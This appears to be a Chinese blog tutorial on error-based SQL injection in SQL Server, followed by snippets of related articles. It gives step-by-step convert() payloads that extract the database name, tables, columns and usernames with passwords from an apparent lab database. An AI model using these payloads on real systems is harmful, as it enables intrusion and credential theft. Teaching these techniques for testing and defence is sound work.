sql注入 sqlserver報錯注入

2021-10-02 18:47:29 字數 1577 閱讀 3229

該注入的條件是必須有報錯資訊

用到函式convert(int,(select top 1 db_name() )),其含義是將第二個引數的值轉換成第乙個引數的int型別

一、開啟檔案,如下圖所示,有報錯資訊:

二、檢視資料庫

輸入: and 1=convert(int,(select top 1 db_name()));這裡由報錯資訊可看到資料庫的名字是」test「

三、檢視資料庫的表

輸入: and 1=convert(int,(select  top 1 name from test.sys.sysobjects where xtype='u''));可檢視資料庫的第乙個表

輸入: and 1=convert(int,(select  top 1 name from test.sys.sysobjects where xtype='u' and name !='users'));可檢視資料庫的第二張表,依次類推……

四、檢視對應表的字段

輸入: and 1=convert(int,(select top 1  name from test.sys.syscolumns where id=object_id('users') and name !='id'));可檢視該錶對應的字段

輸入: and 1=convert(int,(select top 1  name from test.sys.syscolumns where id=object_id('users') and name !='id' and name !='username'));可檢視第三個字段,依次類推……

五、檢視使用者名稱和密碼資訊

輸入: and 1=convert(int,(select top 1 username+password from users ));可檢視第乙個使用者名稱和密碼

輸入: and 1=convert(int,(select top 1 username+password from users where username!='zs'));可檢視第二個使用者名稱和密碼,以此類推……

SQL注入 sql server

談到sql注入,不得不提它的本質,把使用者的輸入資料當做 來執行。兩個關鍵條件,第乙個是使用者能夠控制的輸入 第二個是程式要執行的 拼接了使用者輸入的資料 按照注入的技術型別可分解為 顯錯注入和盲注入,其中盲注入可分為,聯合查詢注入,堆查詢注入,dns查詢注入,報錯注入,延時注入和布林注入。這篇文章...

SQL Server加密與SQL注入

sql server上的加密 sql server上內建了加密用來保護各種型別的敏感資料。在很多時候,這個加密對於你來說是完全透明的 當資料被儲存時候被加密,它們被使用的時候就會自動加密。在其他的情況下,你可以選擇資料是否要被加密。sql server可以加密下列這些元件 密碼 儲存過程,檢視,觸發...

sql注入 sqlserver聯合查詢

實驗環境 sqlserver 2008 實驗步驟 一 判斷是否有注入 分別輸入ip 1.php?id 1 and 1 1和ip 1.php?id 1 and 1 2可判斷出該處存在注入 二 判斷顯示位 1.輸入 order by 3,顯示出第三列 2.輸入 order by 4,顯示下面情況,說明顯...